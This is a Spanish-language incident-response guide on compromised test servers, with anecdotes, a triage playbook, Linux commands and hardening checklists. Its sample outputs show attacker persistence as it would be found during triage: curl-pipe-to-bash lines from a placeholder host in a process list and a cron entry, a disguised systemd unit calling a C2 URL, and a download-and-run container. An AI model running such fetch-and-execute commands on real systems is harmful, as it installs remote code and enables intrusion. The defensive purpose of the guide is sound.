Nunca es “producción” lo que te atrapa. No directamente. Es la cajita de pruebas polvorienta que alguien levantó un viernes, dejó en Internet público y se olvidó hasta que empezó a hacer conexiones salientes a las 3 a. m.
Luego llega el ticket: “Actividad inusual posible. Por favor investiguen.” Inicias sesión. La máquina ejecuta un kernel de hace dos años, un panel vinculado a 0.0.0.0 y una clave SSH que pertenece a un empleado que se fue el verano pasado. Casi puedes oír al atacante decir: “Con gusto, ¿por qué no?”.
Por qué los servidores de pruebas son comprometidos (y por qué sigue pasando)
Los entornos de prueba son donde las buenas intenciones van a retirarse. Empiezan como un sandbox rápido para una rama de características, se convierten en un entorno de integración “temporal” y terminan su vida como una dependencia semi‑producción que nadie se atreve a apagar porque un VP una vez mostró un gráfico desde allí.
Los programas de seguridad a menudo los tratan como ciudadanos de segunda clase. Eso es un problema de gobernanza, no técnico. La parte técnica es banal: parches faltantes, acceso de red amplio, controles de identidad débiles, credenciales compartidas y falta de monitoreo. La parte de gobernanza explica por qué estos problemas obvios permanecen sin arreglar meses: test “no está orientado al cliente”, por tanto “no es crítico”, por tanto “no se prioriza”. Mientras tanto, a los atacantes les encanta todo lo que no se prioriza.
Aquí va la verdad incómoda: los atacantes no necesitan tus joyas de la corona para empezar. Necesitan un punto de apoyo. Los servidores de pruebas son puntos de apoyo con refrigerios.
Qué hace que los servidores de pruebas sean especialmente peligrosos
- Están más expuestos de lo que se admite. Los desarrolladores enlazan servicios a todas las interfaces para “facilitar”, luego alguien añade un security group permisivo para que un contratista remoto pueda comprobar algo.
- Están más sucios que producción. Paquetes antiguos, configuraciones medio migradas, endpoints de depuración residuales y datos de ejemplo que misteriosamente contienen registros reales de clientes “solo para pruebas”.
- Se confía en ellos más de lo que merecen. Redes planas y reglas de firewall amplias significan que un host de pruebas comprometido puede hablar con servicios internos que asumen “solo máquinas buenas pueden alcanzarme”.
- Portan secretos. Tokens de CI, claves cloud, credenciales de servicio, kubeconfigs, contraseñas de base de datos en archivos
.env. Test es donde los secretos van a ser comiteados. - Son invisibles para la propiedad. Nadie “posee esa máquina”. Vive bajo “plataforma”, y “plataforma” son cinco equipos en un abrigo largo.
Hay una solución filosófica y una práctica. La filosófica es “tratar no‑prod como prod”. La práctica es: tratar no‑prod como la rampa de entrada de un adversario y diseñar controles alrededor de esa realidad.
Una cita para tener en la pizarra del incidente:
“La esperanza no es una estrategia.” — Gen. Gordon R. Sullivan
Eso aplica aquí con una precisión casi cómica.
Broma #1: Un servidor de pruebas es como una planta de oficina: nadie la riega, pero de alguna forma sigue creciendo—en su mayoría moho.
Datos históricos e información interesante (breve, concreta e incómoda)
- La división “dev vs prod” es anterior a la nube. Incluso en las primeras tiendas cliente‑servidor, las redes “UAT” y “DEV” eran más laxas, porque la velocidad de cambio ganaba a los controles.
- Las credenciales por defecto han sido favorita de los atacantes desde los años 90. La diferencia ahora es la escala del escaneo: lo que antes era manual ahora está automatizado y es implacable.
- El escaneo a escala Internet se volvió trivial cuando maduró la herramienta de escaneo masivo. Por eso “somos obscuros” dejó de ser defensa hace años.
- Los entornos de staging a menudo ejecutan configuraciones “casi producción”. Eso incluye las mismas integraciones SSO, las mismas cuentas de servicio y, a veces, las mismas rutas de red.
- Los conjuntos de datos de prueba regularmente contienen fragmentos de producción. Empieza como una “pequeña muestra” y termina como una violación de cumplimiento con un gran radio de impacto.
- Los atacantes pivotan, no solo machacan. La intrusión inicial suele ser la parte fácil; el movimiento lateral y el robo de credenciales es donde el daño se acumula.
- “Excepciones temporales” son históricamente permanentes. Los agujeros de firewall y las rutas de bypass sobreviven porque eliminarlos arriesga romper dependencias desconocidas.
- CI/CD incrementó el valor de los sistemas de desarrollo. Si robas un token de build, puedes introducir malware dentro de artefactos legítimos. Es otro tipo de brecha: cadena de suministro.
La ruta de ataque habitual: de “prueba inofensiva” a “incidente caro”
La mayoría de las brechas de servidores de prueba no son Hollywood. Son una cadena de pequeñas decisiones que parecían razonables de forma aislada:
1) Descubrimiento: la máquina es localizable
Tiene una IP pública, o un pool de VPN que comparten contratistas, o está detrás de un reverse proxy con un hostname predecible como test-app. Expone algo: SSH, RDP, un panel de administración web, un puerto de base de datos o un endpoint de métricas que nadie pensó publicar.
2) Acceso inicial: autenticación débil, software antiguo o secretos expuestos
Elige uno: contraseñas por defecto, claves SSH obsoletas, vulnerabilidades sin parchear, Jenkins con configuración laxa, un repo Git con credenciales o un endpoint de depuración “temporal” que devuelve variables de entorno.
3) Persistencia: el atacante se vuelve “parte del entorno”
Añaden una clave SSH, crean un usuario, sueltan un servicio systemd o despliegan un contenedor que parece una carga legítima. En cloud, pueden añadir claves de acceso o alterar reglas de acceso a metadata de instancia.
4) Escalada de privilegios: de usuario de app a root o control cloud
Los exploits de kernel ocurren, pero la mayoría de las escaladas son aburridas: sudoers mal configurado, scripts escribibles ejecutados por root, acceso al socket de Docker o credenciales robadas con más derechos de los previstos.
5) Movimiento lateral: pivotar hacia sistemas internos
Aquí es donde “solo es test” se derrumba. La máquina de pruebas puede alcanzar bases de datos internas, repositorios de artefactos, DNS internos o sistemas de autenticación. El atacante enumera la red, cosecha credenciales y se mueve hacia algo que imprime dinero.
6) Objetivo: robo de datos, preparación de ransomware o manipulación de la cadena de suministro
La exfiltración hace ruido si la supervisas. La preparación de ransomware es silenciosa hasta que no lo es. La manipulación de la cadena de suministro es el tipo de sigilo más grave: la brecha se “arregla” y luego envías el daño aguas abajo.
Fíjate en lo que falta: “sofisticado.” La sofisticación está en la paciencia y la automatización del atacante, no necesariamente en zero‑days.
Tres microhistorias corporativas desde el terreno
Microhistoria #1: La suposición equivocada (“Está detrás de VPN, así que está bien”)
Una empresa mediana tenía una “VPN de desarrollo” usada por empleados y una constelación rotativa de contratistas. El servidor de pruebas era solo accesible desde ese rango VPN. El equipo lo trató como semi‑privado. El servidor ejecutaba una UI administrativa interna para una tubería de ingestión de datos, y la UI tenía pantalla de login. Todos se relajaron.
La suposición era sutil: “VPN = confianza”. En realidad el rango de la VPN era enorme, compartido y poco monitorizado. Peor aún, configuraciones de split‑tunnel permitían que dispositivos personales permanecieran en Internet público mientras estaban conectados a la VPN corporativa. El entorno se volvió un puente entre endpoints desconocidos y servicios internos.
Un atacante obtuvo credenciales VPN de un contratista (phishing, contraseña reutilizada—elige tu veneno), se conectó y empezó a escanear. El servidor de pruebas fue uno de muchos objetivos, pero tenía un framework web antiguo con un bug conocido de ejecución remota de código. El atacante consiguió una shell bajo el usuario web en minutos.
Desde allí, el atacante encontró un archivo .env con credenciales para una cola de mensajes interna y una base de datos. Esas credenciales funcionaban en producción porque “tiene el mismo esquema, más fácil de probar”. La narrativa de la brecha cambió de “inconveniente de dev” a “posible exposición de datos de clientes” con la suficiente velocidad como para darle un dolor de cabeza al departamento legal.
La corrección no fue exótica. Restringieron el acceso VPN a dispositivos gestionados, añadieron MFA y segmentaron la VPN de desarrollo para que “usuario dev” no equivaliera a “puede alcanzar todo”. Pero el cambio real fue cultural: la VPN dejó de ser tratada como una insignia de confianza y se convirtió en lo que es: solo un mecanismo de transporte.
Microhistoria #2: La optimización que salió mal (“Reutilicemos credenciales prod en staging”)
Un equipo de producto quería que staging reflejara de cerca a producción. Objetivo sensato. También querían menos elementos moviéndose, resolución de fallos más rápida y menos fricción de “funciona en staging pero no en prod”. El atajo fue reutilizar cuentas de servicio de producción en staging para un puñado de dependencias: almacenamiento de objetos, APIs internas y un repositorio de artefactos.
Funcionó de maravilla hasta que no. Un host de staging fue comprometido vía un endpoint de monitoreo expuesto que no tenía autenticación. El endpoint proporcionaba métricas, pero también incluía el entorno de procesos en modo debug. Ese entorno contenía tokens. Tokens reales.
Al atacante no le importó explorar mucho el sistema de staging. Usó el token robado del repositorio de artefactos para descargar paquetes internos y algunos bundles de configuración. Esos bundles revelaron más endpoints y más relaciones de confianza. El incidente no fue inicialmente sobre robo de datos; fue sobre robo de confianza.
Cuando los respondedores rotaron secretos, se dieron cuenta de lo profundo que llegaba la reutilización. Rotar una credencial rompía ambos entornos. Rotar otra requería cambios coordinados entre varios equipos, porque “todos usan esa”. La optimización—reutilizar credenciales para reducir complejidad—creó un acoplamiento sistémico y ralentizó y complicó la respuesta al incidente.
Después, separaron identidades por entorno, aplicaron credenciales de corta duración donde fue posible y construyeron un “sandbox de dependencias” estándar para staging. El equipo también aprendió una lección incómoda: “reflejar producción” debe significar comportamiento y topología, no claves compartidas.
Microhistoria #3: La práctica aburrida que salvó el día (inventario de activos + controles de egreso)
Otra compañía tenía una costumbre que parecía dolorosamente aburrida: cada servidor—prod o no—tenía que estar en inventario con un propietario, un propósito y una fecha de expiración. Si la expiración pasaba, la instancia se ponía en cuarentena automáticamente. La gente se quejaba. Por supuesto que se quejaban.
Un fin de semana, una VM de pruebas empezó a hacer consultas DNS a dominios extraños y a enviar tráfico saliente hacia un rango de IP que no usaba ningún socio comercial. Su firewall de egreso la marcó porque las subredes no‑prod tenían listas de permiso saliente estrictas. Se dispararon alertas con contexto útil: hostname, propietario y el historial de cambios del security group de la VM.
Porque la VM estaba inventariada, el on‑call supo a quién despertar. Porque el tráfico saliente estaba restringido, la exfiltración se limitó. Porque la VM tenía un agente de logging estándar, tuvieron historial de ejecución de procesos y logs de autenticación. El incidente se convirtió en una limpieza, no en una catástrofe.
La brecha aún ocurrió—nadie obtiene puntuación perfecta para siempre—pero el radio de impacto fue contenido por lo que la gente de seguridad sigue vendiendo y los ingenieros siguen ignorando: consistencia aburrida.
Broma #2: Lo único más rápido que un atacante es un desarrollador desplegando infraestructura “temporal” que sobrevive a tres reorganizaciones.
Guion de diagnóstico rápido (primero/segundo/tercero)
Cuando sospechas que un servidor de pruebas está comprometido, necesitas velocidad sin desesperación. Este guion asume un servidor Linux, pero la secuencia es conceptualmente portátil.
Primero: confirma el alcance y detén la hemorragia (pero no destruyas evidencia)
- ¿Se está usando actualmente para atacar o exfiltrar? Revisa conexiones salientes, procesos inusuales y picos en la red.
- ¿Es un punto de pivote hacia redes internas? Revisa rutas, túneles VPN, SSH agent forwarding y caches de credenciales.
- ¿Puedes aislarlo de forma segura? Prefiere la cuarentena de red (security group / firewall) antes que apagar. Apagar destruye evidencia volátil y puede activar salvaguardas del atacante.
Segundo: identifica el vector de acceso inicial y los mecanismos de persistencia
- Anomalías de autenticación: nuevas claves SSH, usuarios desconocidos, uso inusual de sudo, orígenes de login atípicos.
- Exposición de servicios: puertos en escucha inesperados, nuevos reverse proxies, contenedores.
- Persistencia programada: jobs de cron, unidades systemd, entradas
@reboot, scripts rc modificados.
Tercero: evalúa el riesgo de movimiento lateral y compromiso de credenciales
- Secretos presentes en la máquina: credenciales cloud, tokens, kubeconfigs, claves SSH, contraseñas de DB.
- Alcance de red: qué endpoints internos son accesibles desde esta subred/host.
- Correlación de logs: comprueba si la misma identidad (token/usuario) se usa en otros sitios.
Si solo haces una cosa: asume que cualquier secreto en el host está comprometido hasta que se pruebe lo contrario. No te gustará lo que eso implica para el esfuerzo de rotación. Hazlo de todos modos.
Tareas prácticas: comandos, salidas y decisiones (12+)
Estas tareas están pensadas para ejecutarse durante triage y endurecimiento. Cada una incluye: comando, qué te dice una salida típica y qué decisión tomar a continuación. Ejecútalas como respondedores con privilegios en el host afectado, o mediante tu herramienta de gestión remota.
Task 1: Identify who you are and whether privilege escalation already happened
cr0x@server:~$ id
uid=0(root) gid=0(root) groups=0(root)
Significado: Eres root. Eso es bueno para la respuesta, pero también implica que el atacante pudo haber sido root.
Decisión: Trata el host como totalmente comprometido. Prioriza contención y rotación de credenciales, no “limpieza”.
Task 2: Check uptime and reboot history clues
cr0x@server:~$ uptime
14:12:03 up 193 days, 6:01, 2 users, load average: 0.72, 0.44, 0.29
Significado: Uptime largo suele correlacionar con parches perdidos. Dos usuarios conectados es sospechoso en un servidor de pruebas.
Decisión: Planea un rebuild/parcheo; verifica sesiones interactivas ahora.
Task 3: List current logged-in sessions and sources
cr0x@server:~$ w
14:12:10 up 193 days, 6:01, 2 users, load average: 0.72, 0.44, 0.29
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 198.51.100.44 14:06 0.00s 0.05s 0.01s -bash
deploy pts/1 10.10.8.23 13:59 3:10 0.02s 0.02s vim
Significado: Login de root desde una IP pública es una sirena roja a menos que estés en esa IP.
Decisión: Si la sesión no es tuya, pon en cuarentena la red inmediatamente; captura datos volátiles (lista de procesos, conexiones), luego termina las sesiones.
Task 4: See what’s listening on the network
cr0x@server:~$ ss -lntup
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp LISTEN 0 4096 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=771,fd=3))
tcp LISTEN 0 4096 0.0.0.0:8080 0.0.0.0:* users:(("java",pid=2143,fd=58))
tcp LISTEN 0 4096 0.0.0.0:2375 0.0.0.0:* users:(("dockerd",pid=1022,fd=12))
Significado: 0.0.0.0:2375 es Docker sin TLS en todas las interfaces. Eso es básicamente root remoto si está expuesto.
Decisión: Inmediatamente corta 2375 en el firewall; confirma si es alcanzable externamente; planea rebuild y trata cualquier imagen de contenedor como sospechosa.
Task 5: Confirm externally reachable exposure from the host’s perspective
cr0x@server:~$ ip -br a
lo UNKNOWN 127.0.0.1/8 ::1/128
eth0 UP 203.0.113.20/24 fe80::a00:27ff:fe4e:66a1/64
Significado: Este host tiene una dirección IPv4 pública en eth0. Cualquier servicio en escucha en 0.0.0.0 probablemente sea accesible por Internet a menos que haya un firewall por delante.
Decisión: Cuarentena via security group/NACL o firewall del host; inventaría qué servicios deben existir realmente.
Task 6: Check active network connections (exfiltration/pivot hints)
cr0x@server:~$ ss -ntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
ESTAB 0 0 203.0.113.20:44762 198.51.100.44:22 users:(("sshd",pid=2851,fd=5))
ESTAB 0 0 203.0.113.20:52314 192.0.2.55:443 users:(("python3",pid=3010,fd=7))
Significado: Un python3 inesperado haciendo salidas 443 a una IP desconocida puede ser descarga de herramientas o exfiltración.
Decisión: Captura detalles del proceso (ps, lsof), luego bloquea el destino en el egress si es posible; conserva logs.
Task 7: Identify suspicious processes with ancestry and runtime
cr0x@server:~$ ps -eo pid,ppid,user,lstart,cmd --sort=lstart | tail -n 8
2143 1 app Mon Jan 22 07:11:03 2026 java -jar /opt/app/app.jar
2851 771 root Mon Jan 22 14:06:12 2026 sshd: root@pts/0
3008 1 root Mon Jan 22 14:07:41 2026 /bin/bash -c curl -fsSL http://192.0.2.55/p.sh | bash
3010 3008 root Mon Jan 22 14:07:42 2026 python3 /tmp/.x/agent.py
Significado: Un pipeline curl | bash es un incidente, no un “quizá”. El proceso hijo ejecutándose desde /tmp también es clásico.
Decisión: Aísla el host; adquiere artefactos forenses; no “simplemente borres /tmp” y lo des por terminado.
Task 8: Review authentication logs for suspicious logins
cr0x@server:~$ sudo grep -E "Accepted|Failed|Invalid user" /var/log/auth.log | tail -n 8
Jan 22 14:05:59 server sshd[2842]: Failed password for invalid user admin from 198.51.100.44 port 51231 ssh2
Jan 22 14:06:10 server sshd[2842]: Accepted password for root from 198.51.100.44 port 51231 ssh2
Jan 22 14:06:12 server sshd[2851]: pam_unix(sshd:session): session opened for user root by (uid=0)
Significado: Login con contraseña de root exitoso desde una IP pública. O tus controles son laxos, o ya estás comprometido (o ambas).
Decisión: Deshabilita auth por contraseña, deshabilita login de root, rota credenciales e investiga cómo se conoció la contraseña de root.
Task 9: Check for new users, odd shells, and UID 0 clones
cr0x@server:~$ awk -F: '($3==0){print}' /etc/passwd
root:x:0:0:root:/root:/bin/bash
toor:x:0:0:root:/root:/bin/bash
Significado: Una segunda cuenta UID 0 (toor) casi nunca es legítima en builds corporativos modernos de Linux.
Decisión: Trátala como persistencia del atacante; elimínala tras capturar evidencia; revisa timestamps y logs de acceso en /etc/shadow.
Task 10: Look for persistence in cron
cr0x@server:~$ sudo crontab -l
*/5 * * * * /usr/bin/curl -fsSL http://192.0.2.55/a.sh | /bin/bash
Significado: Ejecución recurrente desde un script remoto es persistencia y probable reinfección.
Decisión: Cuarentena y rebuild. Eliminar el cron solo no cura; es una tirita.
Task 11: Check systemd units for implants
cr0x@server:~$ systemctl list-units --type=service --state=running | tail -n 8
cron.service loaded active running Regular background program processing daemon
rsyslog.service loaded active running System Logging Service
sshd.service loaded active running OpenBSD Secure Shell server
update-agent.service loaded active running Update Agent
Significado: Un nombre de servicio sospechosamente genérico como update-agent.service merece escrutinio.
Decisión: Inspecciona su unit file y la ruta del binario; si es no autorizado, preserva y elimina durante el flujo de trabajo de rebuild.
Task 12: Inspect the suspicious systemd unit file
cr0x@server:~$ systemctl cat update-agent.service
# /etc/systemd/system/update-agent.service
[Unit]
Description=Update Agent
After=network-online.target
[Service]
Type=simple
ExecStart=/usr/local/bin/update-agent --url https://192.0.2.55/c2
Restart=always
[Install]
WantedBy=multi-user.target
Significado: Binario personalizado hablando con un probable endpoint de comando y control. El nombre es camuflaje.
Decisión: Captura hash del binario, metadatos del archivo y logs; aísla; erradica mediante rebuild; bloquea salidas a ese endpoint.
Task 13: Find recently modified files in critical paths
cr0x@server:~$ sudo find /etc /usr/local/bin -type f -mtime -3 -ls | head
524299 4 -rw-r--r-- 1 root root 412 Jan 22 14:08 /etc/systemd/system/update-agent.service
524312 8 -rwxr-xr-x 1 root root 6216 Jan 22 14:08 /usr/local/bin/update-agent
Significado: Modificaciones recientes encajan con la línea temporal de la sospecha de compromiso.
Decisión: Preserva estos artefactos para IR; úsalos para mapear la línea de tiempo y el alcance (¿dónde más está esto presente?).
Task 14: Check kernel and OS version for patch posture
cr0x@server:~$ uname -a
Linux server 5.4.0-89-generic #100-Ubuntu SMP Fri Sep 24 14:55:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
Significado: Kernel antiguo sugiere años de vulnerabilidades sin parchear, especialmente si la distro ya no tiene soporte.
Decisión: Rebuild sobre una imagen OS soportada; aplica actualizaciones automáticas para no‑prod también (o al menos SLOs de parche mensual).
Task 15: Audit sudo rights for accidental escalation paths
cr0x@server:~$ sudo -l -U deploy
Matching Defaults entries for deploy on server:
env_reset, mail_badpass
User deploy may run the following commands on server:
(ALL) NOPASSWD: /usr/bin/docker
Significado: Acceso a Docker sin contraseña es efectivamente root (montar filesystem, ejecutar contenedores privilegiados, acceder al socket de Docker).
Decisión: Elimina esto; aplica principio de menor privilegio; si Docker es necesario, gánalo vía tooling controlado, no sudo bruto.
Task 16: Check Docker for unexpected containers/images
cr0x@server:~$ sudo docker ps --no-trunc
CONTAINER ID IMAGE COMMAND STATUS PORTS NAMES
b2b8d6f0f9d9a2d98c0e2c1c9f2e0d9a7e12c7c2a6df1aa1c4b1b55c6d9ad1c3 alpine:3.19 "sh -c 'wget -qO-…" Up 6 minutes updater
Significado: “alpine” con un comando de descargar y ejecutar es un mecanismo común de staging para malware.
Decisión: Preserva logs y filesystem del contenedor (export), luego rebuild del host y rota secretos usados por Docker.
Task 17: Hunt for leaked secrets in common locations
cr0x@server:~$ sudo grep -R --line-number -E "AKIA|BEGIN (RSA|OPENSSH) PRIVATE KEY|xoxb-|password=" /opt /home 2>/dev/null | head
/opt/app/.env:12:password=SuperSecretPassword
/home/deploy/.ssh/id_rsa:1:-----BEGIN RSA PRIVATE KEY-----
Significado: Tienes secretos en texto plano. Si el host está comprometido, esos también lo están.
Decisión: Rota inmediatamente; reemplaza con gestión de secretos (vault, store cloud) y tokens de corta duración.
Task 18: Confirm outbound firewall state (host-level)
cr0x@server:~$ sudo ufw status verbose
Status: inactive
Significado: No hay firewall de host. Quizá dependes de security groups upstream; quizá dependes de la esperanza.
Decisión: Implementa defensa en profundidad: controles upstream más firewall de host para puertos críticos, especialmente en no‑prod donde el drift es común.
Task 19: Check audit coverage: are logs shipping off-host?
cr0x@server:~$ systemctl is-active rsyslog
active
Significado: Existe logging local, pero eso no es lo mismo que logging central. Un atacante con root puede editar logs locales.
Decisión: Verifica envío off‑host de logs (syslog forwarder/agent) y políticas de almacenamiento inmutable.
Task 20: Validate DNS changes and resolver config (common for traffic redirection)
cr0x@server:~$ cat /etc/resolv.conf
nameserver 192.0.2.53
options edns0 trust-ad
Significado: Un nameserver inesperado puede ser malicioso o DHCP mal configurado. DNS es un plano de control silencioso para atacantes.
Decisión: Compara con la línea base estándar; si fue manipulado, arregla vía gestión de configuración e investiga otros hosts con el mismo resolver.
Listas de verificación / plan paso a paso que realmente funciona
Fase 0: Higiene preincidente (para que no mueras en la oscuridad)
- Inventario con propiedad y expiración: cada host de pruebas tiene un propietario, propósito, enlace a ticket y fecha de expiración. Sin propietario, sin red.
- Imágenes golden: imágenes OS estándar con hardening base, agente de logging y política de actualizaciones.
- Identidades separadas por entorno: credenciales de staging jamás deben funcionar en prod. Sin excepciones, sin “solo por ahora”.
- Logging central: logs de auth, telemetría de ejecución de procesos si puedes, y flow logs de red en el límite de la subred.
- Controles de egreso: deny por defecto en salidas donde sea factible; allowlist de destinos requeridos (repos de paquetes, APIs conocidas).
- Segmentación de red: redes de test no pueden alcanzar almacenes de datos de producción ni planos administrativos sin rutas explícitas y revisadas.
Fase 1: Contención (minutos)
- Cuarentena en el borde de red: elimina exposición pública, restringe inbound a IPs de respondedores y bloquea salidas excepto a endpoints de logging/forense.
- Snapshot o captura de disco: si está virtualizado/cloud, toma un snapshot para análisis posterior. No confíes en “recordaremos”.
- Captura estado volátil: lista de procesos, conexiones de red, usuarios conectados, tabla de ruteo.
Fase 2: Triage y alcance (horas)
- Determina vector de acceso inicial: ¿servicio expuesto? ¿credenciales robadas? ¿exploit de vulnerabilidad?
- Encuentra persistencia: usuarios, claves, cron, systemd, contenedores.
- Evalúa exposición de credenciales: enumera secretos en la máquina; mapea dónde se usan.
- Revisa evidencia de movimiento lateral: SSH desde este host hacia otros, logs de acceso en servicios internos, llamadas API inusuales.
Fase 3: Erradicación y recuperación (días)
- Reconstruye, no “limpies”: trata servidores de prueba comprometidos como prod comprometido. Reimágenes desde la baseline golden.
- Rota secretos: prioriza tokens de alto privilegio (cloud, CI, repos de artefactos), luego bases de datos y después secretos de apps. Usa TTLs cortos en adelante.
- Parchea y valida configuración: asegura SSH, elimina puertos públicos, aplica MFA en caminos de acceso administrativo.
- Verificación post‑rebuild: valida que no haya listeners inesperados, conexiones salientes o cuentas nuevas.
Fase 4: Ingeniería preventiva (semanas)
- Automatiza detección de drift: alerta cuando se abren nuevos puertos, se asignan IPs públicas o los security groups se vuelven permisivos.
- Haz que las excepciones sean costosas: requiere aprobaciones con expiración; auto‑reversa cuando expire.
- Premia la eliminación: debe ser más fácil apagar infraestructura de prueba que mantenerla viva indefinidamente.
Errores comunes: síntoma → causa raíz → corrección
Error 1: “Solo vimos tráfico saliente raro”
Síntoma: Una VM de dev hace HTTPS saliente a IPs desconocidas; no hay interrupción de servicio aparente.
Causa raíz: Compromiso usado para C2 y staging de datos; nadie monitoreó patrones de egreso; el host tenía acceso saliente amplio.
Corrección: Añade allowlists de egreso para no‑prod; habilita flow logs; alerta sobre nuevos destinos y volumen sostenido; centraliza logging de consultas DNS.
Error 2: “Cerramos el puerto y el problema desapareció”
Síntoma: Tras bloquear un panel admin expuesto, las alertas se calman.
Causa raíz: Persiste la persistencia (cron/systemd/claves); el atacante puede seguir teniendo acceso interno; solo quitaste una puerta.
Corrección: Rebuild desde conocido bueno; rota secretos; verifica mecanismos de persistencia; busca los mismos indicadores en la flota.
Error 3: “Staging no tiene datos prod” (sí los tiene)
Síntoma: Seguridad dice “riesgo bajo” porque es “solo prueba”. Luego cumplimiento encuentra registros reales de clientes.
Causa raíz: Los equipos copiaron snapshots de producción para realismo; clasificación de datos no se aplicó a no‑prod; sin controles DLP.
Corrección: Aplica clasificación de datos en todas partes; exige enmascaramiento/tokenización para no‑prod; controla restauraciones de snapshots con aprobaciones y auditoría.
Error 4: “No podemos rotar ese token; rompe builds”
Síntoma: Tokens CI y claves de despliegue son de larga duración y compartidos; la rotación es dolorosa y se pospone.
Causa raíz: Gestión de identidades y secretos añadida después; sin identidad por pipeline; sin rotación automatizada.
Corrección: Usa identidades por entorno y por servicio; tokens de corta duración; integra rotación en pipelines; aplica scope y principio de menor privilegio.
Error 5: “Es seguro porque es interno”
Síntoma: Servicios internos no tienen auth porque “solo hosts internos pueden alcanzarlo”.
Causa raíz: Red plana o ruteo permisivo desde dev/test hacia servicios internos; dependencia de la ubicación de red como autenticación.
Corrección: Exige autenticación de servicios (mTLS, tokens firmados); implementa segmentación; minimiza la confianza implícita entre subredes.
Error 6: “Tenemos logs en la máquina”
Síntoma: Existen logs pero son incompletos o faltan tras el compromiso.
Causa raíz: No hay envío off‑host; atacante con root manipuló; rotación de logs sobrescribió periodos clave.
Corrección: Centraliza logs; restringe manipulación de logs; asegura retención; considera almacenamiento append‑only/inmutable para logs de seguridad.
Error 7: “Dejaremos SSH abierto a Internet”
Síntoma: Intentos de fuerza bruta frecuentes; logins extraños ocasionales.
Causa raíz: SSH público con auth por contraseña o mala higiene de claves; sin MFA; claves reutilizadas; sin allowlist de IP.
Corrección: Pon SSH detrás de VPN/acceso zero‑trust; deshabilita auth por contraseña; deshabilita login root; aplica MFA en la capa de acceso; rota claves y elimina claves huérfanas.
Preguntas frecuentes
1) ¿Es menos grave una brecha en un servidor de pruebas por ser no‑prod?
A veces el impacto sobre datos es menor. El riesgo muchas veces no lo es. Los servidores de pruebas suelen ser la forma más fácil de pivotar hacia redes internas y el lugar más sencillo para robar secretos.
2) ¿Debemos apagar inmediatamente el servidor de pruebas comprometido?
No por defecto. Prefiere aislamiento de red primero. Apagar puede destruir evidencia volátil (procesos, conexiones) y complicar el alcance. Si está activamente perjudicando a otros y no puedes cuarentarlo rápido, entonces sí—apágalo. Pero documenta ese trade‑off.
3) ¿Cuál es la causa raíz más común?
Exposición no gestionada: un servicio ligado a todas las interfaces más reglas de firewall/security group permisivas. La segunda es la reutilización de credenciales entre entornos.
4) Si reconstruimos el servidor, ¿seguimos necesitando forense?
Sí, al menos ligero. Necesitas el “cómo” para prevenir repeticiones y para acotar el compromiso de credenciales. El rebuild arregla el síntoma local; no responde a dónde fue el atacante después.
5) ¿Cómo persisten típicamente los atacantes en servidores Linux de prueba?
Claves SSH, usuarios nuevos, cron jobs, servicios systemd y contenedores. Menos frecuente: módulos de kernel o persistencia a nivel de firmware—son raros, pero reales.
6) ¿Qué secretos son los más peligrosos en un servidor de pruebas?
Claves API cloud, tokens CI/CD, credenciales de repositorio de artefactos, kubeconfigs con cluster‑admin y claves privadas SSH con acceso a otros sistemas. Credenciales de base de datos también importan, pero las credenciales del “plano de control” suelen ser la vía más rápida a impacto sistémico.
7) ¿Cómo mantenemos staging “realista” sin copiar datos de producción?
Usa datasets enmascarados, generación de datos sintéticos y tokenización. Si debes usar snapshots de producción, restringe el acceso, registra accesos, cifra fuertemente y trata el entorno como producción para cumplimiento y controles.
8) ¿Deberíamos permitir SSH inbound a servidores de prueba desde Internet?
No. Pon el acceso administrativo detrás de una capa de acceso controlada: VPN con dispositivos gestionados, bastion con MFA o un proxy zero‑trust. Si absolutamente debes, haz allowlist de IP agresiva y deshabilita auth por contraseña.
9) ¿Qué significa en la práctica “segmentación de red”?
Que subredes dev/test no puedan alcanzar bases de datos de producción ni APIs administrativas por defecto. Cualquier camino existente es explícito, registrado y revisado. Además: producción no debe depender de DNS o servicios de test.
10) ¿Cómo detenemos que existan servidores de prueba sombra?
Haz más fácil hacer lo correcto que lo incorrecto: infraestructura self‑service que automáticamente se inscribe en inventario, aplica controles base y expira por defecto. Además: bloquea la asignación de IP pública salvo aprobación explícita.
Conclusión: próximos pasos que puedes hacer esta semana
Si tu organización tiene servidores de pruebas, tienes la categoría de máquina favorita de un atacante: “bajo cuidado, alta confianza”. Arreglar eso no es comprar una sola herramienta. Es un conjunto de valores por defecto aplicados.
Haz estos pasos en orden:
- Inventario y propiedad: encuentra cada host no‑prod, etiqueta un propietario, fija una expiración. Cuarentena los no‑asignados.
- Elimina la exposición pública por defecto: sin IPs públicas, sin inbound desde Internet. Las excepciones expiran automáticamente.
- Separa credenciales por entorno: tokens de staging no deben funcionar en prod. Rota cualquier cosa compartida.
- Envía logs off‑host y vigila el egreso: centraliza telemetría de auth/proceso/red; restringe salidas donde sea factible.
- Reconstruye sistemas comprometidos o desviados: no negocies con servidores únicos. Reimágenes desde una baseline.
El traspié corporativo no es que un servidor de pruebas sea vulnerado. Es que todos actúan sorprendidos. Tu trabajo es volver los sistemas de prueba aburridos, consistentes y un poco difíciles de usar mal—para que el atacante vaya a otra parte. Preferiblemente a un competidor que aún piensa “es solo prueba”.